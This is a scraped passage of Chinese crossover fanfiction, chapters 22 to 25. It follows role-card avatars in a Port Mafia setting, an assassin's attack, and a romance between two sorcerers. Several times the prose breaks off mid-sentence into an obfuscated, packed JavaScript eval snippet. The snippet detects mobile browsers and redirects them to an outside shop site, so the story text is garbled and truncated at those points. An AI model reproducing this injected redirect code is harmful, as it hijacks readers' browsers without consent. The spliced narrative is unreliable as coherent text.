话音刚落,戛然而止的道歉便化为了乳燕投怀的拥抱,不止是受伤的几个人。 凭着良好的身高优势,尾崎红叶看见了在说出那句话之前,金发青年转瞬即逝的笑容。 真厉害啊。 尾崎红叶想。 几句话就将藤原侦探造成的尴尬化解了。 她视线转而去寻藤原千学,发现他打开了储藏食物的地窖,从里拿了两个盒装糕点。 藤原千学递给她一个,尾崎红叶毫不犹疑地打开,等她吃了一口后,忽然问味道怎么样。 “还不错。” 尾崎红叶评价道。 味道偏酸,她以为里面是加了柠檬。 “哦。” 直到她吃完,藤原千学又开口:“它变质了。” 尾崎红叶:! 在尾崎红叶拿起矿泉水不断漱口的过程中,藤原千学也在不断地从地窖里拿出各种各样的食物。 “扔掉。” 他很自然地指挥着金色夜叉。 “不可以!”一个黄头发的小孩挡住被判定为不能吃的食物面前,“它们还没有坏!” 变质的食物在擂钵街的孩子眼中确实不是问题。 但是很显然,藤原千学不会听他们的话。 “扔掉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586866|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄头发小孩张嘴想再说些什么,藤原千学看他一眼,“再说话,把你也扔掉。” 尚畏惧着刚才那一句句宛如宣判死刑一样的话语,小黄吸了吸鼻子,还是不舍地让开了。 没过两秒。 “放下。” 金色夜叉提起小红毛,啪嗒一声,他的衣服里接二连三地掉下了很多面包。 小红毛看着有些发怵,但还是鼓起勇气:“……这是我们的食物!” 面对同龄、与比自己小的人,藤原千学表现的像是一个独断专横的暴君。 他面无表情:“扔掉。” 小红毛砰的一声变成了小红眼。 他擦着眼睛走了,临走前还不忘喊一句“坏人”。 听不见的坏人又找出了几袋变质的面包,串到金色夜叉的棍剑上。 烘培制品就是这样,不及时吃就只能扔掉了。 西园寺鸣月其实是按一天一送,一人三份的量送来的,都说由俭入奢易,这里的孩子偏偏还留着节俭的习惯。 太过节俭并不是件好事。 但以西园寺鸣月的性格,他能够做的也只有告诉他们不要那么做。 习惯不是一句话就能改变的。 于是藤原千学堂堂登场了。 所谓人靠衣装,面对明显不属于擂钵街的着装打扮,这里的居民天然会产生一种低微的姿态。 藤原千学的脊背挺得很直,于是他们便不由自主地想要弓起腰。 没有人想过反驳他的话语、抗拒他的行动。 这对于藤原千学而言是个很好的发展,再施加一点什么就能获得许多不忠诚、但一定听话的下属。 西园寺鸣月却不喜欢,他们的立场天然对立。 “没关系。”面对他所守护之人,西园寺鸣月最常说的就是没关系,青年摘下手套,摸摸有些委屈的孩子头顶,“下次及时吃完就好了。” 目的达成,他露出一道不明显的笑。 “千学是个很善良的人,只不过有点不善言辞罢了。” 在灰方阵营的人看来,总是用最无情言语拆穿他们身份的『学者』可谓是白到散发圣光的程度了。 没有人不想杀死他。 西园寺鸣月是依着自己的真实想法,说出的他对于藤原千学的看法,他的表情足够诚恳,言语也足够真挚。 但是听到这句话的人都不怎么相信。 在黑暗中挣扎成长的人拥有最敏感的感官,藤原千学的言行举止都像是一把锋利的刀,刀刃每落下一次,便仿佛有人的皮肉被活生生分离开。 最主要的是目光——那不是看待人的目光,甚至于在这个人的心里,他们可能连物品都称不上。 或许除了善良的西园寺先生,没有人会接纳这样一个人。 就如他们一样,除了西园寺先生,不会有人看见他们。 老鼠,虫豸,杂种,死人。 这是他们共有的称呼,在此之前,野比二郎也没有想过,有朝一日自己的姓名还会被人呼唤出来。 “二郎,龙之介。” 金发青年已经尽量在平等的与他们对视,但是他太高,他们又太矮,导致即使是半跪着下蹲的姿势,青年也需要低下头。 “这两天不要去打架。”他说。 西园寺鸣月已经在刚才说明了他要离开两天的事情,如今间贯一过来,也该到离开的时候了。 “不要离开这片区域,尾崎小姐会保护好你们。” “知道了吗?” “知道了。”“您会回来吗?” 两个不同的回答,西园寺鸣月顿了一下,随后笑着指了指尾崎红叶和间贯一,“我都将人质交到龙之介手上了,所以放心吧,我肯定会回来的。” 他如今的态度像极了马上要外出游玩、寥寥几句叮嘱完,就将孩子放在家里让家政暂时照顾,而后万事不管的不负责家长。 [说实话,自己和自己对话的感觉很怪异。] 他刚刚差点用藤原千学说出西园寺鸣月的台词。 23.第 23 章 港/黑的干部目前有两个。 一位大佐干部,具体姓名不详,异能力与武器有关,性格豪迈,任务结束后时常请部下喝酒,算是港口Mafia最常出现的一名干部(事实上港-黑确实也只有这一个干部) 而另一名,比起只有姓氏但其他信息都还算敞亮的大佐干部,则更加神秘了——这位干部姓名不明、样貌不明、年龄不明、异能力不明、乃至性别也无人知晓。 据说他在多年前便去往了国外出差,虽然很惊讶首领都作成这样了、国外居然还有产业……咳,这个不能明说,总而言之,这位干部在今天回来了。 神秘的干部行踪也很神秘,负责接送的成员只感觉一阵冷风吹过,下一秒,打印着字体的卡片便被塞进了领头的西装里。 【再见。】 果不其然,他们的车被开走了一辆,司机站在那里目送着汽车走远,样子瞧着有些沧桑。 面对同僚好奇的询问,什么都没反应过来、就被从车里拎出来的司机也很迷茫:“什么都没有看见。” “但我觉得……这位的异能力……”他打了个寒颤,“有点冷。” 现在是暑夏的黄昏时分,机场人头攒动,擦肩而过时都会带起粘人的热气,偏偏那阵风路过的地带,像是突然被扔进了速冻室一样,冷得让人发颤。 …… ………… “你一直是我最喜爱的孩子。” 刚踏进首领办公室,西园寺鸣月便听到了这一句话。 恭敬跪在地毯上的青年垂首,灿金色短发落下,模糊了他的神情:“感谢您的厚爱。” “……” 短暂的沉默后,苍老的声音再次响起:“你还在恨我。” 西园寺鸣月藏在金发后的眉梢挑起,声调不变:“您言重了。” “那为什么不站起来。”首领道,已经被冠上“暴君”名头的他语句难得平静,“你从来不会这样与我说话。” “……” 这是给他弄了个什么记忆? 世界:[我以为您不会喜欢下跪。] [那倒不至于。] 之前拍过的PV成千上百,他们十三个员工相互跪过好几次,倒没什么尊不尊严的说法。 神隐还是有些疑惑:[这不像普通下属啊。] 搭档显得异常激动,他最近爱上了霸总剧:[我知道!这个叫霸道首领狠狠宠!] 神隐:[滚。] 世界:[你们是收养关系,在我给他灌输的记忆里,他察觉到比起Mafia,您更注重平静的生活,于是杀死了让您产生向往的挚友,所以您才在多年前远渡海外,一直没有回来。] 性转无爱情版的尾崎红叶,是严格按照神隐给出的版本灌输的记忆……但看着首领的表情,总感觉不止那么一回事啊。 西园寺鸣月站起来,高大的身形瞧着有些压抑,而他的眼皮始终垂着:“您是首领,作为下属,没有您的命令我自然不该站起来。” 他一边说,一边查看着世界给首领灌输的记忆,猝不及防被块石头砸了脑袋。 “混账!” 坐在办公桌后的首领被这句话气得不轻,连说出的话语也开始颤抖,“我养了你十几年……还比不过一个学医的穷学生吗?!” “……” 好熟悉的桥段。 - [世界。] [怎么了?] [不要和那个破烂走的太近。] [哈?神隐你什么意思?!] …… 这什么贵族大少和平民小子的狗血故事啊。 西园寺鸣月死死抿住嘴,回想了无数伤心事才憋住了笑。 …… 西园寺鸣月的办公室在首领办公室下三层,藤原千学踩着凳子,在办公室翻箱倒柜。 干部真有钱啊。 他拿起一块蓝宝石对着灯光看。 生活在永夜中的人喜爱一切耀眼的事物,『云霄』同样如此,他最钟爱的就是各式各样的宝石,每天身上都怀揣着大量会发光的东西,一有空闲就拿出来看一看。 就连工资甚至都是不同世界的宝石。 所以当发现首领用来砸自己的石头居然是一块血红色宝石的时候,西园寺鸣月终究还是没有憋住笑。 这个真没办法,人设如此。 他到没笑出声,只是嘴角不受控地上扬了几分,但这个变化还是被首领发现了。 于是他又挨了一顿骂。 最后,像是终于骂够了,首领疲惫地甩甩手,把西园寺鸣月赶了出去。 也就是在这个时候,藤原千学听到闭合的门外响起了脚步声。 他收起在储物柜中找到的一枚轮廓像猫的绿宝石,抬腿从储物柜爬上了书架,趴在天花板与书架顶的缝隙,屏息凝神。 脚步声在门口就停了,似乎在等人。 很快,西园寺鸣月抵达了自己的办公室。 看着站在门外,穿着不合季节的棉服与护耳帽的长卷发青年,他奇怪地“嗯”了一声。 “你是?” 青年像是被吓到了,整个人猛烈地抖了一瞬,他裹紧衣服,嘴唇颤抖着开合好几次,都没说出话来。 西园寺鸣月发现他好像是怕冷,不好意思地轻咳几声,默默站远了一点。 “……抱歉。” “没、没关系……您,您是西园寺大人吧……”眉目有着几分忧愁的青年说话都打着哆嗦,“首领派、派我来辅佐您。” 他现在完全不像是能够工作的样子啊。 看着马上就要被冷晕过去的青年,西园寺鸣月没纠结太久,用剑鞘将人推远一些,“回去加点衣服,我马上也要休息了,你在这里也帮不上什么忙。” 他在港口黑手党的人设,更偏向第一次遇见尾崎红叶时的模样,西园寺鸣月也不需要时刻露着笑脸。 “明天再来吧。”冻人的寒气少了一点,发如灿阳眼似冰河的青年说,“我最晚两天后就会离开,你不会难受太久。” 语毕,西园寺鸣月关上了门。 …… [我在想一件事。] 从书架上爬下来,藤原千学和西园寺鸣月对视片刻,又默契地移开。 搭档提前探查过房间,把所有监视器黑了,没必要自己和自己对话。 他坐在沙发上,思索着看向窗外深蓝色的天,[为啥执着杀学者呢?] [你都已经把他喊成『学者』了……] 每到活动,节日,还有新地图剧情需要录制PV的时候,『学者』永远是第一个死亡的身份牌。 员工里属性适合当学者的人不多。 『千页』算是其中一个。 他扮演的最多,死的也最多。 西园寺鸣月摸摸剑柄,觉得『骑士』果然很有安全感。 [这也不是游戏啊……] 他怀疑那位名字超长,资料也超长的家伙开了挂。 一阵从布料后响起的震动打破办公室内的安静。 还在查看费奥多尔资料的藤原千学在摸出手机,接通电话之前,让搭档改变了办公室的布局。 屏幕闪烁几下,露出一张充满少年感的脸,他睁着双翠绿的眼睛。 藤原千学的背景是他们共同的房间,身后是放着很多东西的书桌,喝了一半的汽水,几颗糖果,一盒芝士蛋糕,还有新买的书籍。 “晚上好,乱步。” “晚上好千学。”江户川乱步举着手机转了个圈,他正和福泽谕吉走在东京人流量最多的街道。 “这次的案件好麻烦呀,他们非要找到早就已经被销毁的证据。” 少年抱怨着:“明明依赖着我的异能力,还偏偏要讲究实质性的证据,说了很多次证据早就没有了,他们完全听不懂乱步的话……” 藤原千学看着江户川乱步的吐槽,时不时应答一两声,他们每次分别超过十二个小时都会如此,要通上好长一段时间的电话才行。 这次通话也维持了很久,乱步洗完澡从浴室出来,又开始说浴室的花洒一点也不好,热水硬邦邦的刺人。 “如果千学在就好了。” 小声的想念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不确定杀手什么时候会来,一直开着异能力、无法同时使用反转术式的西园寺鸣月喘了口气,横剑格挡住杀手挥下的武士刀。 铛锵—— 金属碰撞的声音溅出火花,在漆黑室内短暂点燃金发青年冰塑的眼。 寒风又起,被武士刀死死压住的长剑由下至上悍然撩起。 西园寺鸣月借力后撤,挡住尚未清醒过来的藤原千学,握住剑的手抬起,再次劈砍向对方试图越界的武器。 又是一次力量上的交锋,西园寺鸣月的虎口崩裂,整条手臂几乎麻木,而对面显然也不好受。 妈的,总算给这家伙身上来了一剑。 身上十几道刀伤的西园寺鸣月暗骂一声。 滴答。 血液从谁割开的伤口流出,滴落在慢慢散去的冰面上。 黑暗里,两道频率相似的呼吸轻到可以忽略不计,西园寺鸣月猛地偏头,刀尖擦着他的颧骨掠过,带起一溜血珠飞溅开来。 身体快要到达极限的他没在意,以极快的速度短暂撤下异能力,用反转术式将身体调到巅峰状态,再重新展开。 整个过程不过一秒,恢复如初的西园寺鸣月深吸一口气。 这是场持久战。 他不信他磨不死他。 在西园寺鸣月准备攻击的时候,藏在黑暗处的杀手头一次开了口:“……反转术式?” 声音低沉沙哑,带着常有的轻慢,西园寺鸣月准备趁着说话间隙偷袭的动作一滞,随即头皮发麻,不可置信地往后退了一大步。 他震惊地望着这个接了悬赏,大老远从东京跑到横滨,还跨越了世界壁,徒手攀爬到上百米高楼来刺杀一个普通人的杀手。 不会吧…… “你是咒术师?” 熟悉的声音,熟悉的语调。 远在东京的伏黑隐闭了闭眼。 他现在真的很想一个电话打过去,质问禅院甚尔到底在接些什么悬赏。 一万日元的悬赏都接,你不怕掉价的吗?! 24.第 24 章 “什么咒术师?” 西园寺鸣月嘴上说着疑问,眼睛死死盯着禅院甚尔,生怕一个不注意,另一张角色卡就嘎巴一声被杀死了。 这家伙说不定带了天逆鉾。 尚不知道这玩意能不能无视异能力,西园寺鸣月打起十二万分警惕观察着禅院甚尔的动向。 “不重要。”禅院甚尔不是爱解释的性格,他挑起唇角,“死人不需要知道太多东西。” - 果然啊…… 神隐叹口气。 他还以为再也用不上这个功能了。 - “西园寺鸣月。” 不远处响起陌生的声音,很稚嫩,有些抖,声音的主人在下意识恐惧着什么。 紧接着,禅院甚尔听到子弹上膛的声音——像死亡来临前听不懂的低语。 下一瞬,由灵魂蔓延至躯体的危机感疯狂叫嚣着,恐慌着,就如从前很多次一样,很多次,禅院甚尔曾误以为是伏黑隐所做的那样——他知道危险在接近,但身体永远纹丝不动地站在原地。 直到死亡的黑云迫近,才拥有被白云救赎的权利。 “让开。” 这次开口已然没了颤抖,与夜色融为一体的男孩举起枪,面无表情注视着禅院甚尔。 他看起来实在不像是个听不见的聋子。 赔了——这是枪声响起时,禅院甚尔想到的第一个想法。 枪口直指他的心口,藤原千学枪法很准,至少在这个距离之下,他能够精准无误地让子弹穿透禅院甚尔的心脏。 就在这时,空气扭曲一瞬。 未知的伟力将重力拐了个弯,擦着禅院甚尔心脏而过。 从四面八方凝聚起的冰锥直直冲向男人,西园寺鸣月反应很快,在子弹偏离轨道瞬间便发现不对劲的他小腿绷直,同冰锥一起闪现到禅院甚尔身前,高高举起剑。 “砰——!” 墙面轰然倒塌,满屋的寒意泄出。 大风刮起冰雪在高空呼啸,凝在港-黑大楼结成一片片晶莹的花。 造成这一切的金发青年垂眸,站在杀手消失的地方沉默良久。 …… ………… 禅院甚尔的身体在燃烧。 那个小鬼好像料到了不会一击毙命一样,挑选的子弹在接触到血肉时便自动燃烧起来,从他的血肉灼烧至四肢百骸,仿佛要用高温将人折磨至死。 这种伤痛让禅院甚尔回到了以前。 他第一次和伏黑隐见面也是这样折磨的痛意。 一只手将他推到在地上,并不如那人表现出的那样温柔。 锋利的刀刃挖开他的胸口,在血肉中搅拌,得到了比方才还要痛一点的感觉,禅院甚尔张嘴想说些什么,被人用力按住了头,将他的脸重重砸在地上。 “闭嘴!” 声音少见的暴躁。 神隐快烦死了。 本来计划的好好的,他们在那里守株待兔,等活捉到杀手后,让藤原千学逼问出杀手是怎么做到在两个世界自由穿梭的。 ——世界壁不是真的墙壁,不要像老鼠一样两边窜啊! 到时候还没融合,两边的人就做到互通有无了……两个世界存在缝隙、和融合成一个世界完全是两码事情。 为此,搭档特意改造了西园寺鸣月的办公室,把它变成了一个只进不出的捕兽笼,替代了尾崎红叶位置的西园寺鸣月审讯能力自然不会差,各种刑具一应俱全。 但是为什么会是禅院甚尔啊! 你还记得你的身价吗?! 看着掌心被挖出来的子弹,伏黑隐胸膛剧烈起伏几下,接着用力将子弹砸向墙壁,“接这种一看就是去送命的悬赏,你就那么想死吗?” “这不是没死吗?” 躺在地上的人看起来丝毫没有后悔的意思在。 伏黑隐气急地加大力道,禅院甚尔闷哼一声,继续说:“而且你不是来了吗。” 那是因为有世界意识帮忙瞬移啊! 已经打成这样了,要是没人中断绝对要死掉一个人才罢休,没有世界帮忙,刚才死的要么是角色卡,要么就是禅院甚尔了。 角色卡能够复活。 但是禅院甚尔不能啊! “你为什么要接这种悬赏?” 将坏死的血肉挖干净,伏黑隐拿着手术刀,注视着面前皮肉近乎全无的男人,尽量心平气和地问。 为了让禅院甚尔留个教训,他没有让藤原千学留手,子弹是专门在商城购买的、来自魔法世界的火焰弹,能够让超高温火焰在一秒之内流窜上百回中弹者的躯体,直至将血液烧成灰烬。 就算治好了,被灼烧的痛感也会留存七天左右。 这对于天与暴君并不致命,但也绝对会难受好一阵子。 “对那个世界有点好奇,想去看看。” 禅院甚尔回答,他用如今的模样开口说话实在有些恐怖。 不是实话。 了解前搭档各种语气的伏黑隐伸手,将禅院甚尔的脸掰正过来,“说实话。” “有人说这个悬赏做完就告诉我怎么追到人。” “……别开玩笑了,甚尔。” “没开玩笑。” “这个世界还存在禅院甚尔追不到的人?” 金牌牛郎的头衔也不是说得到就能得到的吧。 伏黑隐不相信他的话,手术刀点了点男人眼睛,“不要再骗我了,甚尔,对你的搭档诚实一点。” “这次真的没有骗你。” 禅院甚尔没闭眼(也闭不上),坚持他的说辞。 伏黑隐气笑了,他发动术式,将禅院甚尔身上的伤治好。 “行,反正这次失败了。” 伏黑隐站起来,他刚才几乎是半抱半拽着将人带走的,不然指不定反应过来的禅院甚尔愿不愿意走。 毕竟这是个明知打不过还不跑,硬抗【虚式-茈】的犟种。 临时穿着的衣服上全是血,血液独有的湿粘感让人难受得紧,他现在急着去洗澡,“你也得不到你的锦囊妙计了。” 两次长距离的瞬移耗费了伏黑隐全部咒力,他本身就属于偏向普通人的咒术师,唯一优势也就是比反转术式稍好一些的治愈能力。 如今还能撑着精力帮忙把伤势治好,已经是足够舍己为人了。 “我不清楚你怎么过去的那边。”伏黑隐说,“但你最好不要再这样做。” 世界壁越薄确实越有利于融合。 但也不能再让禅院甚尔去刺杀角色卡。 禅院甚尔从地上坐起来:“这是请求吗?” “……这是警告。” 面对禅院甚尔,伏黑隐需要承受的不止是短暂但常有的争吵,还有偶尔的无语瞬间。 他说:“你差点死在那里,要是执意再去,不管你受了多重的伤,会不会死,我都不会再救你了。” 禅院甚尔无声地笑了笑:“你每次都这样说。” 伏黑隐的脸庞也沾着血迹,那是方才处理伤口的时候溅到脸上的,尚还未随着时间凝固,鲜艳得如同孩童画中的花朵。 听到他的话,白发后的眉毛皱起:“所以你这次还是不听吗?“ 幽邃的眼眸凝望着门口身影,单薄的身躯上满是血液——那是他的血液。 “我不会再过去了。” 禅院甚尔的声音平和到没有丝毫多余的情绪,这一点不像他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599595|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为会得到半玩笑式回答的伏黑隐开门的动作一顿,“你最好和你说的话一样老实。” 事实上在世界完全融合前,他也不可能再过得去了。 被世界意识拉入黑名单的,禅院甚尔还是头一个。 …… ………… 洗完澡从浴室出来,伏黑隐一眼就看到了客厅的禅院甚尔。 “打扫干净了?” 在离开禅院甚尔的房间前,伏黑隐让禅院甚尔自己把自己的血清理干净,现在看到人在客厅,他随口问道,也没想真的过去检查是不是打扫了。 冰箱里还放着昨天外出时购买的成品便当,想着禅院甚尔应该做不了饭,伏黑隐拿了三个放进微波炉。 等待午饭加热的间隙,他倚在橱柜旁登录了禅院甚尔的账号,查看着禅院甚尔最近都接了些什么单子。 除去一大半来自孔时雨的推荐,伏黑隐发现这段时间,禅院甚尔一直在接取和刺杀藤原千学差不多的单子。 描述简洁,要求简洁,佣金也简洁。 最早的一个类似单子,是在伏黑隐进入高专的一周后。 混杂着与身上相同的沐浴露气息接近,这个抠门的家伙经常蹭自己的洗漱用品,伏黑隐没抬头:“你什么时候开始做慈善了?” “什么慈善?” 洗完澡的禅院甚尔弯腰,将下颚虚抵在伏黑隐肩窝处,见他在查看什么后笑了一下,“不是说在追人吗?那才是我真正的报酬。” 伏黑隐无语:“你被骗了。” 但凡有一点进展也不会无聊到帮忙带孩子了。 他顺手把这个不知名单主拉黑,听到微波炉的声音后站直身子,被还弯着腰的禅院甚尔挡住脚步。 男人顺直的短发落在颈侧,有些痒,伏黑隐推了推他:“走开,要吃饭了。” 禅院甚尔顺从地直起腰。 吃完饭,伏黑隐就准备去补觉了,他打着哈欠,“晚上不用准备我的饭。” 刚从沙发上站起来,他就又被拉了回去。 [晚上梦到……] [什么?] 在被禅院甚尔揽进怀里的一瞬间,伏黑隐懂了搭档的未尽之语。 “但他的办法很有用。” 禅院甚尔侧过头,鼻尖贴在怀中人的颈间:“他让我知道,你对我不是没有感觉的。” 不拒绝的亲近,不受控的触碰。 温热的呼吸肆无顾忌地喷洒在伏黑隐颈侧肌肤上,“也不是没有感情。” 永不磨灭的信任,义无反顾的帮助和最真实的自我。 ——这些都是只属于他的。 “所以你之前那些行为,”现在发生的事情超出了他的所有预想,伏黑隐一时间竟忘记了先将人推开,“真的不是想让我当……” 他的声音越来越低,将最后的字句埋进了心里。 - [我草,鬼父啊。] [这种时候就不要再想你的伦理剧本了!给我把脑子里的垃圾全部清理干净啊!] - 禅院甚尔握住垂落的那只手,轻而易举地穿过指缝,十指相扣。 那句不完整的话语之后,伏黑隐沉默了很久。 直到后背紧贴着的炽热攀爬上整个身体,他才茫然地开口。 “除了术式,还有家人,我什么都没有。” “我能够做到的最大程度的帮助,也只是在你受伤的时候免费为你治疗,我也只有这个能够帮上忙。” 伏黑隐低下头,确切地疑惑着:“你喜欢我,为什么?” 两年时间内喜欢上一个人,还是有半年时间都在警惕着、时刻准备杀死的人。 这怎么可能? 25.第 25 章 他们第一次的见面并不美好。 那时的伏黑隐刚刚来到京都,打算在这里长久地居住下去,他身上没什么钱,租住了一块廉价的地方当做诊所。 诊所位置在京都最混乱的地带,居民们对这位新来的医生并不欢迎,每天都会有崭新的礼物堆在他的门前。 有时是垃圾,有时是动物,有时是人类。 伏黑隐不在意这些排挤与恶意,在来到这个地方之前,他就已经做好了更糟的打算。 他需要钱。 没有医师资格证的伏黑隐去不了更广阔的天地,而平庸的工作满足不了幼弟的病。 于是伏黑隐看上了这里。 混乱往往代表着无序,只要他找到一个机会。 很快,在伏黑隐到来的第一个月,诊所迎来了它的第一位患者。 或许算不上迎来,那是伏黑隐带回来的。 患者伤得很重,重到再晚过一会儿就会死去,正常的医生救不了他的命。 但伏黑隐可以。 而在等待患者醒过来时,他不期然对上一双暴戾的眼睛。 诅咒师多是穷凶极恶之辈,在患者醒来第一时间就被掐住脖子、恶狠狠掼向墙面的医生早有准备,他按下掌心握着的按钮,被提前装进患者体内的装置启动,释放出足以将人的大脑电至死亡的电流。 砰—— 有人呲着牙捂着脖子从地上站起,有人面目狰狞跪倒在地。 这是伏黑隐和禅院甚尔的第一次见面。 两个人都因对方而狼狈不堪,伏黑隐也从没想过他们以后的关系会像如此这般亲密。 ……… …… 他们从前其实也有过类似的接触。 但很多时候,伏黑隐都觉得那是在故意捉弄他,总是会在第一时间推开禅院甚尔。 “……” 覆盖在手背的掌心宽大炽热,穿插在指缝中的手指带着他的手一同合拢,拥抱着自己的人用的力气并不大,如往常一样,他随时都可以抽身离开。 是一直存在、却第一次被伏黑隐发觉到的温柔。 这在从前,甚至于在今天之前,伏黑隐都将其当做禅院甚尔逗弄自己的行为。 初见时对男人的印象便是疯狂残暴,后是浪荡轻佻。 是在第几次治疗,伏黑隐没想起来。 ——做吗? 这是在某次治疗之后,禅院甚尔躺在手术台看了伏黑隐好一会儿,对他说的第一句话。 那时已经在诅咒师中赫赫有名、不再缺钱也不缺名声的伏黑隐笑了笑,拿起手术刀捅进了禅院甚尔的腰窝子。 居然敢在医生面前耍流氓。 看来是真的不想活了。 没成为搭档前,伏黑隐偶尔会在京都的街道上遇见禅院甚尔。 他在他的身边看见过很多人,一开始只以为是风流浪荡的普通强大诅咒师,没在意,直到从另一位诅咒师口中听到了禅院甚尔在牛郎界的鼎鼎大名。 一款挣钱小能手。 就是花的比挣的多。 伏黑隐不会对他的行为做过多评价,毕竟一开始,他们也只是普通的伤患与医生的关系。 或许可以再加一个——禅院甚尔觊觎他的存款,并常常用武力威胁白嫖他的医疗费。 后来是怎么变成搭档的呢? 伏黑隐记得是在一次深夜,重伤的男人走进他廉价租住的临时诊所,在治疗之后,他突然说:“和我一起吧。” “只当我的医生,那远远要比现在更安全。” 那段时间伏黑隐被某些疯子骚扰得不厌其烦,不会拒绝的人设就是如此麻烦。 有人试图用炸弹和自己殉情、有人花重金雇佣诅咒师想要催眠独占自己、还有大白天在诊所外就要绑架自己……种种事件。 在禅院甚尔帮他解决了这些麻烦之后,伏黑隐同意了。 你应该帮我处理掉那些麻烦。 他提出条件,禅院甚尔同意了, 于是从这之后直到进入咒术高专前,他们每一天都在一起,从未分离。 “……” “在想什么?” 头顶独属于禅院甚尔的声音响起。 他现在在想什么呢? 伏黑隐听到了谁的心跳如擂鼓般震响。 后背紧贴着男人温烫的身躯,他好像也随着禅院甚尔胸膛的起伏而呼吸。 在想什么呢? 这是玩笑、捉弄、还是真情实意的拥抱? 他看到过禅院甚尔故作深情的眼神,并很多次都信以为真——他好几次都以为禅院甚尔爱上了某个人。 最后发现那都是出自金钱而跳动的心脏。 那他有什么呢? 伏黑隐有什么地方吸引到了禅院甚尔呢? “你真的喜欢我?” 他难道有恋痛癖? 喜欢治疗的时候给他来一刀的刺激? 感受到了怀中人的犹豫不决,禅院甚尔手臂收紧,说道:“亲我一下吧,就像你对惠做的那样。” 伏黑隐很喜欢禅院惠。 喜欢到禅院甚尔不止一次觉得,他答应成为自己搭档最主要的原因,就是在担心拒绝自己后,惠就会从他的生命中离开一样。 他偶然瞧见过,那个小鬼应该是做了噩梦,死死缠着人不放手,伏黑隐就抱起他。 伏黑隐在唱歌。 唱禅院甚尔从没有听过的歌。 轻快,自由,仿佛是来自苍穹之上的悠扬。 等到小鬼终于睡着时,他看到伏黑隐弯下腰,亲了亲他的额头。 是属于长辈对于所喜欢的孩子,不含任何旖旎的,最平常不过的一次触碰,蜻蜓点水一样轻。 禅院甚尔不怎么做梦,或者说不怎么做过好梦。 他深夜去诊所的目的自己都记不清了,可能是想杀死伏黑隐,也可能是因为其他事情,那段时间禅院甚尔没有再受过伤,但还是常去往那里。 最后还是如往常一样,什么都没能够做成就离开了。 像是一条狗。 那条狗在夜晚做了一个梦。 他梦到一盏明亮温暖的灯,梦到不含情欲的一个吻。 禅院甚尔的梦跟随他注视着伏黑隐的时间愈发完整,完整地如同另一个人生。 直到最后他梦到缥缈的白云落到了他的怀抱里——名为生命的拼图的最后一个碎片,从云雾中落下,禅院甚尔找到了它。 “哪里都可以。” “……” 伏黑隐的瞳孔倏然放大,接着,仿佛被这两句话施加了足够多的勇气,他仰起脸,以一个随时可以被阻拦的速度抱住禅院甚尔的脸。 二者间的距离被这双手无限拉近,在这一刻,两个人的呼吸紧密交缠在了一起。 就如同少年深埋于心不敢前行的感情,伏黑隐青涩的亲吻也触之即离。 “我永远猜不到你的想法。” 伏黑隐低下头,低垂的眼睫颤抖,“如果这是一个玩笑,现在就可以适可而止了。” “……” 肩侧突兀地出现了一些重量,是禅院甚尔将头轻靠在了他的身上。 伏黑隐沉默。 旋即默许了他落在颈侧的吻。 从颈侧到耳垂,再移至半闭合的眼眸。 紧张的吐息悬停在鼻尖,最后,禅院甚尔低下头,与怀中之人交换了一个绵长的吻。 直到伏黑隐开始感觉到呼吸不畅,伸出手试图推开他时,禅院甚尔才跟从这个力道移开了距离。 他伸出手,准备擦拭掉伏黑隐嘴上的湿润,却在刚触碰到嘴唇时被一只手拍开。 经过这场缠绵的拥吻,那头雪白的卷发彻底散乱了,本就不好打理的头发毫无章法地分散、交缠,像是经历了一场无法反抗的风暴。 被碎发挡住的金色眼眸也有些红润。 他拦住禅院甚尔的手,说道:“我会当真的。” 伏黑隐还是不相信禅院甚尔喜欢他。 头顶被重重地揉了一把,男人的语气恢复了平时的轻慢:“真是的……平时那么好骗,怎么现在不愿意相信了。” 听到这句话,伏黑隐瞪圆了眼睛。 “我哪里好骗了!” 他说着,挣扎着要从禅院甚尔的腿上下来,结果再度被巨大的力道拉住摔进了宽阔的怀抱里。 脑袋直直撞进富有弹性的胸肌,在发现脸侧接触到的是什么之后,伏黑隐的脸色瞬间变得羞红。 “禅院甚尔!放我下来!!”“我改姓伏黑怎么样?” 伏黑隐的挣扎在一瞬间僵住了。 他愣愣地抬头,对上男人的眼眸。 “你……” “把你的姓氏给我,这样,你就能相信我了吧。” 粗糙的指腹轻轻摩挲过怔忡的金色眼睛,这一次,伏黑隐没有再反抗。 他一字一顿:“我真的会当真的。” 禅院甚尔轻声问:“那你愿意相信我吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 